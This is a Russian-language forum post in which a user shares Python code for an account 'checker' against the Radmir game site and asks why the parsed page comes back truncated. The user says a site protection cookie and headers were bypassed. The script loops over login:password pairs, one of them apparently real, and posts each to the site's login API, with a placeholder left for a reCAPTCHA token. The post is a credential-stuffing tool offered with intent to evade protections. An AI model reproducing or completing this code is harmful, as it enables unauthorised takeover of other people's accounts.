requests не могу спарсить сайт полностью

lotti · Сен 6, 2023

Делаю чекер аккаунтов на радмире, получилось обойти защиту по куки и headers на сайт зайти смог, когда хотел получить капчу при пост запросе но не смог чекнул как он кинул код сайта он там спарсил только половину, что не так сделал?


import requests as r
from bs4 import BeautifulSoup as bs
s=r.Session()
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 YaBrowser/23.7.4.971 Yowser/2.5 Safari/537.36'
}

s.cookies.set('R3ACTLBPROTECT','dcbf8082170853a79ceb67d273a96716',domain='radmir.online',path='/')
get=s.get('https://radmir.online/login',headers=headers)
soup=bs(get.text,'lxml')
token=soup.find('input',type='hidden')
print(token)
account=['ghsahdsa:wqeqeqeasada','Danil_Kozlovsky:kop67mop']

for i in account:
    password=i.split(':')[1]
    login=i.split(':')[0]
    data={'password': password,
      # 'recaptchaToken': "сюды токен надо",
      'serverId': '2',
      'twoFactorCode': "",
      'username': login}
    print(login,password)
    post=s.post('https://api.radmir.online/auth/by-password',data=data,allow_redirects=True,headers=headers)
    get=s.get('https://radmir.online/login',headers=headers)
    print(post.text)
f=open('.html','w')
f.write(get.text)

Код страницы который он выводит:


<!doctype html>
<html data-n-head-ssr lang="ru" data-n-head="%7B%22lang%22:%7B%22ssr%22:%22ru%22%7D%7D">
  <head >
    <title> href="/images/logos/logo.svg"><link data-n-head="ssr" href="https://mc.yandex.ru/metrika/tag.js" rel="preload" as="script"><link data-n-head="ssr" rel="canonical" href="https://radmir.online/login">
        RADMIR <span>CRMP 1</span></div> <img src="/_nuxt/img/4d59330.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 2</span></div> <img src="/_nuxt/img/8f05e21.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 3</span></div> <img src="/_nuxt/img/29e3c13.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 4</span></div> <img src="/_nuxt/img/e7c94a3.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 5</span></div> <img src="/_nuxt/img/6c99121.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 6</span></div> <img src="/_nuxt/img/bb4d4e1.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 7</span></div> <img src="/_nuxt/img/2375bac.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 8</span></div> <img src="/_nuxt/img/919aa14.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 9</span></div> <img src="/_nuxt/img/37e2bf7.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 10</span></div> <img src="/_nuxt/img/7f1f9b7.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 11</span></div> <img src="/_nuxt/img/359f816.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 12</span></div> <img src="/_nuxt/img/a9f0c5a.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 13</span></div> <img src="/_nuxt/img/4b15ce8.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 14</span></div> <img src="/_nuxt/img/68cc049.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 15</span></div> <img src="/_nuxt/img/fd0ba29.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 16</span></div> <img src="/_nuxt/img/3070f86.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 17</span></div> <img src="/_nuxt/img/3070f86.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 18</span></div> <img src="/_nuxt/img/3070f86.svg" alt="" class="server-select-option__icon"></div><div class="select__option server-select-option"><div class="server-select-option__name">
        RADMIR <span>CRMP 19</span></div> <img src="/_nuxt/img/3070f86.svg" alt="" class="server-select-option__icon"></div></div></div></div></div> <div class="simplebar-placeholder"></div></div> <div class="simplebar-track simplebar-horizontal"><div class="simplebar-scrollbar"></div></div> <div class="simplebar-track simplebar-vertical"><div class="simplebar-scrollbar"></div></div></div></div> <div class="input"><input name="username" type="text" placeholder="��� �������" value="" class="input__element"> <svg width="12" height="12" viewBox="0 0 12 12" fill="none" stroke="#1E1D1D" stroke-opacity="0.45" stroke-width="1.5" xmlns="http://www.w3.org/2000/svg" class="input__icon"><path d="M1 12C1 9.23858 3.23858 7 6 7C8.76142 7 11 9.23858 11 12M8 3C8 4.10457 7.10457 5 6 5C4.89543 5 4  15",vk:d,fullName:"������ � 15",serverId:15,players:398,maxplayers:a,updatedAt:b},{name:"� 16",vk:d,fullName:"������ � 16",serverId:16,players:h,maxplayers:a,updatedAt:b},{name:"� 17",vk:d,fullName:"������ � 17",serverId:17,players:h,maxplayers:a,updatedAt:b},{name:"� 18",vk:d,fullName:"������ � 18",serverId:18,players:519,maxplayers:a,updatedAt:b},{name:"� 19",vk:d,fullName:"������ � 19",serverId:19,players:881,maxplayers:a,updatedAt:b}],serversUpdatedAt:1694006837523},auth:{user:c,loggedIn:f,strategy:"local"}},serverRendered:true,routePath:"\u002Flogin",config:{_app:{basePath:"\u002F",assetsPath:"\u002F_nuxt\u002F",cdnURL:c}}}}(1000,1694006701,null,209918730,194687921,false,"",494));</script><script>!function(){var e=document,t=e.createElement("script");if(!("noModule"in t)&&"onbeforeload"in t){var n=!1;e.addEventListener("beforeload",function(e){if(e.target===t)n=!0;else if(!e.target.hasAttribute("nomodule")||!n)return;e.preventDefault()},!0),t.type="module",t.src=".",e.head.appendChild(t),t.remove()}}();</script><script nomodule src="/_nuxt/1305e88.js" defer></script><script type="module" src="/_nuxt/a85ae22.modern.js" defer></script><script nomodule src="/_nuxt/68b66ed.js" defer></script><script type="module" src="/_nuxt/06712c4.modern.js" defer></script><script nomodule src="/_nuxt/f2d46b5.js" defer></script><script type="module" src="/_nuxt/c5dac52.modern.js" defer></script><script nomodule src="/_nuxt/8ed616b.js" defer></script><script nomodule src="/_nuxt/6a0859c.js" defer></script><script type="module" src="/_nuxt/ca27799.modern.js" defer></script><script nomodule src="/_nuxt/20747cb.js" defer></script><script type="module" src="/_nuxt/5addbc6.modern.js" defer></script><script nomodule src="/_nuxt/fc5c0d9.js" defer></script><script type="module" src="/_nuxt/e3e5dc9.modern.js" defer></script><script nomodule src="/_nuxt/76f17da.js" defer></script><script type="module" src="/_nuxt/fa18021.modern.js" defer></script><script nomodule src="/_nuxt/f40c4e2.js" defer></script><script type="module" src="/_nuxt/adeaa97.modern.js" defer></script>
  </body>
</html>

Я конечно не мастер но это мб кодировка?

lotti · Сен 6, 2023

Вывод сильно укоротил так как не пускало) Но там дохринилион непонятных символов

Поиск

Поиск

requests не могу спарсить сайт полностью

lotti

Новичок

lotti

Новичок